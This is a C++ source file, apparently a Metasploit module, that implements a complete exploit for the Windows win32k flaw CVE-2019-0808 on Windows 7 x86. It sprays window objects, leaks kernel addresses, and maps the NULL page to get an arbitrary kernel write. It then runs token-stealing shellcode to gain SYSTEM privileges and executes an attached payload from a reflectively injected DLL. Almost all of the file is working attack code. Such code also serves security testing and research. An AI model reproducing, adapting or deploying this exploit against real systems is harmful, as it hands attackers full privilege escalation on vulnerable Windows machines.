Path: blob/master/external/source/exploits/CVE-2019-0808/NtUserMNDragOverExploit/dllmain.cpp
21463 views
#define WIN32_LEAN_AND_MEAN12#include <windows.h>3#include <stdio.h>4#include <bcrypt.h> // Included to define NTSTATUS56#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR7#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN8#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"910typedef struct _MSF_PAYLOAD {11DWORD dwSize;12CHAR cPayloadData[];13} MSF_PAYLOAD;14typedef MSF_PAYLOAD* PMSF_PAYLOAD;1516// Define the undefined window message type WM_MN_FINDMENUWINDOWFROMPOINT so the code17// knows how to utilize it correctly within this program.18#define WM_MN_FINDMENUWINDOWFROMPOINT 0x1EB1920// Set the success flag to indicate whether or not the exploit succeeded or not to FALSE.21BOOL success = FALSE;2223// The following lines set up global variables to hold the handle of the primary24// and secondary windows to be used in the tagWND write primitive, as well as25// the address of each of these windows.26HWND hPrimaryWindow = NULL;27HWND hSecondaryWindow = NULL;28unsigned int primaryWindowAddress = 0;29unsigned int secondaryWindowAddress = 0;30UINT addressToWrite = 0;3132/* The following definitions define the various structures33needed within sprayWindows() */34typedef struct _HEAD35{36HANDLE h;37DWORD cLockObj;38} HEAD, *PHEAD;3940typedef struct _THROBJHEAD41{42HEAD h;43PVOID pti;44} THROBJHEAD, *PTHROBJHEAD;4546typedef struct _THRDESKHEAD47{48THROBJHEAD h;49PVOID rpdesk;50PVOID pSelf; // points to the kernel mode address of the current _THRDESKHEAD object51} THRDESKHEAD, *PTHRDESKHEAD;5253// Define the function prototype for NtAllocateVirtualMemory() so that this program54// knows how to call it correctly as well as what parameters it expects.55typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory)(56HANDLE ProcessHandle,57PVOID *BaseAddress,58ULONG ZeroBits,59PULONG AllocationSize,60ULONG AllocationType,61ULONG Protect62);6364// Create a pointer to the NtAllocateVirtualMemory() function and initialize it to NULL.65NtAllocateVirtualMemory pfnNtAllocateVirtualMemory = NULL;6667// Create a HWND handle to hold the handle to the maliciously crafted window.68HWND hWndFakeMenu;6970// Create a HWND handle to hold the handle to the application's main menu.71HWND hWndMain;7273// This boolean will indicate whether or not hWndMain's window74// procedure is set to DefWindowProc() or not.75BOOL bIsDefWndProc = TRUE;7677// This boolean will indicate whether or not the drag operation78// has been conducted with the mouse.79BOOL bDoneDrag = FALSE;8081// Create a counter for the number of times the DisplayEventProc()82// function is hit, which will occur every time a popup menu is created.83volatile UINT iMenuCreated = 0;8485// This function contains the inlined assembly responsible for making a syscall to86// NtUserMNDragOver(), which has a syscall value of 0x11ED on Windows 7 x86 and Windows87// 7 SP1 x86. Refer to https://j00ru.vexillium.org/syscalls/win32k/64/ for the syscall values88// for 64 bit Windows operating systems, or https://j00ru.vexillium.org/syscalls/win32k/32/89// for the syscall values for 32 bit Windows operating systems.90void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {91_asm {92mov eax, 0x11ED93push address294push address195mov edx, esp96int 0x2E97pop eax98pop eax99}100}101102// Define function definition for HMValidateHandle() and name this function definition lHMValidateHandle.103typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type);104105// Define global pointer to HMValidateHandle() which is of function type lHMValidateHandle.106lHMValidateHandle pHmValidateHandle = NULL;107108109// Uncomment this line to include debug output110//#define DEBUGTRACE111112#ifdef DEBUGTRACE113#define dprintf(...) real_dprintf(__VA_ARGS__)114static void real_dprintf(char *format, ...)115{116va_list args;117char buffer[1024];118va_start(args, format);119vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);120strcat_s(buffer, sizeof(buffer), "\r\n");121OutputDebugStringA(buffer);122va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/123// one should always call va_end in the same function one calls va_start.124}125#else126#define dprintf(...)127#endif128129130// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for131// explaining this in an example along with the finer details that are often forgotten.132bool allocateNullPage() {133/* Set the base address at which the memory will be allocated to 0x1.134This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory(),135however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/136PVOID BaseAddress = (PVOID)0x1;137138/* Set the size to be allocated to 40960 to ensure that there139is plenty of memory allocated and available for use. */140SIZE_T size = 40960;141142/* Call NtAllocateVirtualMemory() to allocate the virtual memory at address 0x0 with the size143specified in the variable size. Also make sure the memory is allocated with read, write,144and execute permissions.*/145NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);146147// If the call to NtAllocateVirtualMemory() failed, return FALSE.148if (result != 0x0) {149return FALSE;150}151152// If the code reaches this point, then everything went well, so return TRUE.153return TRUE;154}155156BOOL findHMValidateHandleAddress(HMODULE hUser32) {157// The address of the function HMValidateHandleAddress() is not exported to158// the public. IsMenu() on the other hand, is exported to the public via159// user32.dll and it contains a call to HMValidateHandle() early on within160// its setup code. The call starts with the byte \xEB, which marks the beginning161// of an indirect call. By obtaining the offset of this indirect call and adding it162// to the address where user32.dll is loaded, one can find the address of the163// HMValidateHandle() function within user32.dll and can call it directly.164165// Obtain the address of the function IsMenu() from the currently loaded copy of user32.dll.166BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");167if (pIsMenuFunction == NULL) {168dprintf("[!] Failed to find the address of IsMenu() within user32.dll.\r\n");169return FALSE;170}171else {172dprintf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);173}174175// Search for the location of the \xEB byte within the IsMenu() function176// to find the start of the indirect call to HMValidateHandle().177unsigned int offsetInIsMenuFunction = 0;178BOOL foundHMValidateHandleAddress = FALSE;179for (unsigned int i = 0; i < 0x1000; i++) {180BYTE* pCurrentByte = pIsMenuFunction + i;181if (*pCurrentByte == 0xE8) {182offsetInIsMenuFunction = i + 1;183break;184}185}186187// Throw error and exit if the \xE8 byte couldn't be located.188if (offsetInIsMenuFunction == 0) {189dprintf("[!] Couldn't find offset to HMValidateHandle() within IsMenu().\r\n");190return FALSE;191}192193// Output address of user32.dll in memory for debugging purposes.194dprintf("[*] hUser32: 0x%08X\r\n", hUser32);195196// Get the value of the relative address being called within the IsMenu() function.197unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);198dprintf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);199200// Find out how far the IsMenu() function is located from the base address of user32.dll.201unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);202dprintf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);203204// Take this offset and add to it the relative address used in the call to HMValidateHandle().205// Result should be the offset of HMValidateHandle() from the start of user32.dll.206unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;207dprintf("[*] offset: 0x%08X\r\n", offset);208209// Add the value of the "offset" variable to hUser32 to get the address of HmValidateHandle() within user32.dll.210// Additionally add 11 bytes since on Windows 10 these are not NOPs and it would be211// ideal if this code could be reused in the future.212pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);213dprintf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);214return TRUE;215}216217// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.218// Just a standard token stealing shellcode219__declspec(noinline) int Shellcode()220{221__asm {222xor eax, eax // Set EAX to 0.223mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.224// _KTHREAD is located at FS:[0x124]225mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process226mov ecx, eax // Copy current process _EPROCESS structure227mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4228SearchSystemPID:229mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink230sub eax, 0B8h231cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId232jne SearchSystemPID233mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token234mov[ecx + 0xF8], edx // Assign SYSTEM process token.235}236}237238// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for239// additional insight into how this function should operate.240LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)241{242if (uMsg == WM_ENTERIDLE) {243WORD userModeVar = 0;244__asm245{246// Grab the value of the CS register and247// save it into the variable userMode.248mov ax, cs249mov userModeVar, ax250}251// If userModeVar is 0x1B, this function is executing in usermode252// code and something went wrong. Therefore output a message that253// the exploit didn't succeed and bail.254if (userModeVar == 0x1b)255{256// USER MODE257dprintf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");258ExitProcess(-1); // Bail as if this code is hit either the target isn't vulnerable or something is wrong with the exploit.259}260else261{262success = TRUE; // Set the success flag to indicate the sprayCallback() window procedure is running as SYSTEM.263Shellcode(); // Call the Shellcode() function to perform the token stealing264}265}266return DefWindowProc(hWnd, uMsg, wParam, lParam);267}268269// Define the HMValidateHandle() window type TYPE_WINDOW appropriately.270#define TYPE_WINDOW 1271272/* Main function for spraying the tagWND objects into memory and finding two273that are less than 0x3fd00 apart */274bool sprayWindows() {275HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.276277// Create and set up the window class for the sprayed window objects.278WNDCLASSEXW sprayClass = { 0 };279sprayClass.cbSize = sizeof(WNDCLASSEXW);280sprayClass.lpszClassName = TEXT("sprayWindowClass");281sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed window objects to sprayCallback().282283if (RegisterClassExW(&sprayClass) == 0) {284dprintf("[!] Couldn't register the sprayClass class! Error was: 0x%08X\r\n", GetLastError());285return FALSE;286}287288// Create 0x100 windows using the sprayClass window class with the window name "spray".289for (int i = 0; i < 0x100; i++) {290hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);291}292293// For each entry in the hwndSprayHandle table...294for (int x = 0; x < 0x100; x++) {295// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.296THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);297unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;298299// Then start a loop to start comparing the kernel address of this hWND300// object to the kernel address of every other HWND object...301for (int y = 0; y < 0x100; y++) {302if (x != y) { // If x and y are the same value, then we are comparing the same entries in hwndSprayTable303// with one another, so in these cases skip one instance of the loop.304305// Leak the kernel address of the second HWND object being used in the comparison, save it into secondEntryAddress.306THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);307unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;308309// If the kernel address of the HWND object leaked earlier in the code is greater than310// the kernel address of the HWND object leaked above, execute the following code.311if (firstEntryAddress > secondEntryAddress) {312313// Check if the difference between the two addresses is less than 0x3fd00.314if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {315dprintf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);316dprintf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);317318// Save the handle of secondEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.319hPrimaryWindow = hwndSprayHandleTable[y];320primaryWindowAddress = secondEntryAddress;321322// Save the handle of firstEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.323hSecondaryWindow = hwndSprayHandleTable[x];324secondaryWindowAddress = firstEntryAddress;325326// Windows have been found, escape the loop.327break;328}329}330331// If the kernel address of the HWND object leaked earlier in the code is less than332// the kernel address of the HWND object leaked above, execute the following code.333else {334335// Check if the difference between the two addresses is less than 0x3fd00.336if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {337dprintf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);338dprintf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);339340// Save the handle of firstEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.341hPrimaryWindow = hwndSprayHandleTable[x];342primaryWindowAddress = firstEntryAddress;343344// Save the handle of secondEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.345hSecondaryWindow = hwndSprayHandleTable[y];346secondaryWindowAddress = secondEntryAddress;347348// Windows have been found, escape the loop.349break;350}351}352}353}354355// Check if the inner loop ended and the windows were found. If so print a debug message.356// Otherwise continue on to the next object in the hwndSprayTable array.357if (hPrimaryWindow != NULL) {358dprintf("[*] Found target windows!\r\n");359break;360}361}362363// Check that hPrimaryWindow isn't NULL after both the loops are364// complete. This will only occur in the event that none of the 0x1000365// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.366if (hPrimaryWindow == NULL) {367dprintf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");368return FALSE;369}370371// This loop will destroy the handles to all other372// windows besides hPrimaryWindow and hSecondaryWindow,373// thereby ensuring that there are no lingering unused374// handles wasting system resources.375for (int p = 0; p < 0x100; p++) {376HWND temp = hwndSprayHandleTable[p];377if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {378DestroyWindow(temp);379}380}381382addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to primaryWindow's cbwndExtra field.383384dprintf("[*] Destroyed spare windows!\r\n");385386// Check if its possible to set the window text in hSecondaryWindow.387// If this isn't possible, there is a serious error, and the program should exit.388// Otherwise return TRUE as everything has been set up correctly.389if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {390dprintf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");391return FALSE;392}393else {394return TRUE;395}396}397398VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)399{400switch (iMenuCreated)401{402case 0:403SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005); // Press the left mouse button down on point (0x5, 0x5).404break;405case 1:406SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006); // Drag the mouse, with the left mouse button down, to point (0x6, 0x6)407break;408}409dprintf("[*] MSG\n");410iMenuCreated++; // Increment iMenuCreated every time this is called.411}412413LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)414{415if (msg == WM_MN_FINDMENUWINDOWFROMPOINT) {416dprintf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");417dprintf("[*] Restoring window procedure...\r\n");418SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);419420/* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex(), except421wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.422423This is an important information leak as without this the attacker cannot manipulate the values424returned from MNGetpItemFromIndex(), which can result in kernel crashes and a dramatic decrease in425exploit reliability.426*/427UINT pPopupAddressInCalculations = wParam + 0x10;428429// Set the address to write to to be the right bit of cbwndExtra in the target tagWND.430UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));431432// Set offset 0x20 of the NULL page to 0xFFFFFFFF to bypass this check in MNGetpItemFromIndex()433// by setting the value to be compared to EAX to a really high value. The check's code can be seen below.434//435// cmp eax, [ecx + 20h]436// jnb short loc_BF96F0CA;437//438memcpy_s((void *)0x20, 4, "\xFF\xFF\xFF\xFF", 4);439440441// Set offset 0x34 in the NULL page to the addressToWrite to, as offset442// 0x34 will contain a DWORD that determines where in memory the arbitrary write will write to.443memcpy_s((void *)0x34, 4, &addressToWriteTo, 4);444445446/* Calculate what value to put in offset 0x4C of the NULL page so that the second447call to MNGetpItemFromIndex() will return an address within the NULL page region that448is readable. The math used here is the same as the address calculation math used previously,449but the operations are just done somewhat in reverse. */450UINT secondAddress = ((0x100000180 - addressToWriteTo) / 0x6C);451452/* Fill out offset 0x4C of the NULL page so that MNGetpItemFromIndex() succeeds and returns an address,453which when incremented by 0x28, points to a readable address. The snippet below shows the454relevant code inside win32k.sys which will pass offset 0x4C of the NULL page to MNGetpItemFromIndex()455and which will add 0x28 to address returned before using it as a pointer to an address to read from.456457.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu458.text:BF975EA3 ;459.text:BF975EA3 ; Should set EAX to 0 or NULL.460.text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex. This will be the value at address 0x4C given461.text:BF975EA6 ; that ppopupmenu->spmenu is NULL.462.text:BF975EA9 push eax ; spMenu. Will be NULL or 0.463.text:BF975EAA call MNGetpItemFromIndex464..............465.text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem466.text:BF975EBA ;467.text:BF975EBA ; pItemFromIndex->yItem will be the value468.text:BF975EBA ; at offset 0x28 of whatever value469.text:BF975EBA ; MNGetpItemFromIndex returns. */470memcpy_s((void *)0x4C, 4, &secondAddress, 4);471472/* Starting at offset 0x50, set all the rest of the bytes to 0xF0. This will ensure473that the jump at 0xBF975ED0 is NOT taken by setting the value of pItemFromIndex->yItem to 0xF0F0F0F0.474475.text:BF975ECE cmp ecx, ebx476.text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following condition is true:477.text:BF975ED0 ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))478*/479memset((void *)0x50, 0xF0, 0x1000);480481return (ULONG)hWndFakeMenu;482}483return DefWindowProc(hwnd, msg, wParam, lParam);484}485486LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)487{488tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;489490// If the drag and drop operation hasn't started yet, then just call the next hook if there is one.491if (!bDoneDrag) {492return CallNextHookEx(0, code, wParam, lParam);493}494495// If the incoming message was a WM_MN_FINDMENUWINDOWFROMPOINT message, then set bIsDefWndProc to FALSE496// to indicate hWndMain's window procedure is no longer DefWindowProc(), and set hWndMain's window497// procedure to SubMenuProc().498if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT))499{500bIsDefWndProc = FALSE;501dprintf("[*] HWND: %p \n", cwp->hwnd);502SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);503}504else {505if ((cwp->message == 0x1E5)) {506UINT offset = 0; // Create the offset variable which will hold the offset from the start of507// hPrimaryWindow's cbwnd data field to write to.508509UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set addressOfStartofPrimaryWndCbWndData to the address of510// the start of hPrimaryWindow's cbwnd data field.511512// Set offset to the difference between hSecondaryWindow's513// strName.Buffer's memory address and the address of514// hPrimaryWindow's cbwnd data field.515offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);516dprintf("[*] Offset: 0x%08X\r\n", offset);517518// Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16), or the address of the bServerSideWindowProc bit.519if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {520dprintf("[!] An error occurred when using SetWindowLongA() to set the bServerSideWindowProc bit: 0x%08X\r\n", GetLastError());521ExitProcess(-1);522}523else {524dprintf("[*] SetWindowLongA() called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));525}526527// Write the value \x06 to it to set the bServerSideWindowProc bit in hSecondaryWindow.528if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {529dprintf("[!] SetWindowTextA() couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());530ExitProcess(-1);531}532else {533dprintf("[*] Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));534dprintf("[*] Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");535SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);536if (success == TRUE) {537dprintf("[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!\r\n");538}539else {540dprintf("[!] Exploit failed, we did not elevate our privileges for some reason!\r\n");541ExitProcess(-1);542}543}544}545}546return CallNextHookEx(0, code, wParam, lParam);547}548549int exploit(PMSF_PAYLOAD pMsfPayload)550{551dprintf("[*] Exploiting!\r\n");552553// Create the primary popup menu and its submenu554HMENU hMenuRoot = CreatePopupMenu();555HMENU hMenuSub = CreatePopupMenu();556557if ((hMenuRoot == NULL) || (hMenuSub == NULL)){558dprintf("[!] Couldn't create the popup menus needed to exploit this vulnerability. Exiting!\r\n");559return -1;560}561562// Get a HINSTANCE handle to the current process.563HINSTANCE hInst = GetModuleHandleA(NULL);564if (hInst == NULL){565dprintf("[!] Couldn't get a handle to the current process! Exiting!\r\n");566return -1;567}568569// Get the address of NtAllocateVirtualMemory() from ntdll.dll's export table.570pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");571572// Set the window hook and the event hook.573if (SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId()) == NULL){574dprintf("[!] Couldn't set the WH_CALLWNDPROC hook, error was: 0x%08x\r\n", GetLastError());575return -1;576}577if (SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, hInst, DisplayEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0) == 0){578dprintf("[!] Couldn't set the EVENT_SYSTEM_MENUPOPUPSTART event hook, error was: 0x%08x\r\n", GetLastError());579return -1;580}581582// Set up the buffers for the call to NtUserMNDragOver().583CHAR buf[0x100] = { 0 };584POINT pt;585pt.x = 2;586pt.y = 2;587588// Allocate the NULL page. If this fails, exit the program.589if (allocateNullPage() == FALSE) {590dprintf("[!] Couldn't allocate the NULL page!\r\n");591return -1;592}593else {594dprintf("[*] Allocated the NULL page!\r\n");595}596597// Just to be sure that these modules are loaded, lets load them again.598// Also allows the attacker to grab the address where user32.dll is loaded in memory.599HMODULE hUser32 = LoadLibraryW(L"user32.dll");600LoadLibraryW(L"gdi32.dll");601602// Find the address of HMValidateHandle() using the address of user32.dll603if (findHMValidateHandleAddress(hUser32) == FALSE) {604dprintf("[!] Couldn't locate the address of HMValidateHandle!\r\n");605return -1;606}607608// Spray the windows and find two that are less than 0x3fd00 apart in memory.609if (sprayWindows() == FALSE) {610dprintf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");611return -1;612}613614// Create the malicious window, which will have its spMenu field set to NULL.615hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);616if (hWndFakeMenu == NULL){617dprintf("[!] Couldn't create hWndFakeMenu using menu class #32768. Error was: 0x%08x\r\n", GetLastError());618return -1;619}620dprintf("[*] FakeMenu: %p \n", hWndFakeMenu);621622// Change the menu settings for the two popup menus so that they are drag and drop enabled.623MENUINFO mi = { 0 };624mi.cbSize = sizeof(MENUINFO);625mi.fMask = MIM_STYLE;626mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;627if (SetMenuInfo(hMenuRoot, &mi) == 0){628dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());629return -1;630}631if (SetMenuInfo(hMenuSub, &mi) == 0){632dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());633return -1;634}635636// Set up the hMenuRoot popupmenu to be the root popup menu which will display hMenuSub when selected.637if (AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root") == 0){638dprintf("[!] Failed to append hMenuRoot to the menu bar using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());639return -1;640}641if (AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub") == 0){642dprintf("[!] Failed to append hMenuSub to hMenuRoot using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());643return -1;644}645646// Create the class wndClass, set its window procedure to DefWindowProc(), and then create hWndMain using this class.647WNDCLASSEXA wndClass = { 0 };648wndClass.cbSize = sizeof(WNDCLASSEXA);649wndClass.lpfnWndProc = DefWindowProc;650wndClass.cbClsExtra = 0;651wndClass.cbWndExtra = 0;652wndClass.hInstance = hInst;653wndClass.lpszMenuName = 0;654wndClass.lpszClassName = "WNDCLASSMAIN";655RegisterClassExA(&wndClass);656hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);657if (hWndMain == NULL){658dprintf("[!] Was unable to create the window hWndMain! Error was: 0x%08x\r\n", GetLastError());659return -1;660}661662// Show the hMenuRoot popup menu.663if (TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL) == 0){664dprintf("[!] Was unable to display the hMenuRoot popup menu using TrackPopupMenuEx()! Error was: 0x%08x\r\n", GetLastError());665return -1;666}667668// Window message loop for handling window messages.669MSG msg = { 0 };670while (GetMessageW(&msg, NULL, 0, 0))671{672TranslateMessage(&msg);673DispatchMessageW(&msg);674675// Ensure that the call to NtUserMNDragOver() is made only once676// the environment is set up correctly.677if (iMenuCreated >= 1) {678bDoneDrag = TRUE;679callNtUserMNDragOverSysCall(&pt, buf);680break;681}682}683684// Execute payload if and only if exploit succeeds.685if (success == FALSE) {686dprintf("[!] Exploit failed!\n");687return -1;688}689690dprintf("[*] Exploit completed successfully!\n");691if (!pMsfPayload) {692dprintf("[!] No payload to execute!\n");693return -1;694}695696LPVOID shellcode = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);697if (!shellcode) {698dprintf("[!] Shellcode allocation failed!\n");699return -1;700}701memcpy(shellcode, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);702((void(*)()) shellcode)();703return 0;704}705706DWORD CALLBACK ExploitThread(LPVOID lpReserved)707{708exploit((PMSF_PAYLOAD)lpReserved);709return 0;710}711712BOOL APIENTRY DllMain( HMODULE hModule,713DWORD ul_reason_for_call,714LPVOID lpReserved715)716{717switch (ul_reason_for_call)718{719case DLL_PROCESS_ATTACH:720CreateThread(NULL, 0, ExploitThread, lpReserved, 0, NULL);721case DLL_THREAD_ATTACH:722case DLL_THREAD_DETACH:723case DLL_PROCESS_DETACH:724break;725}726return TRUE;727}728729730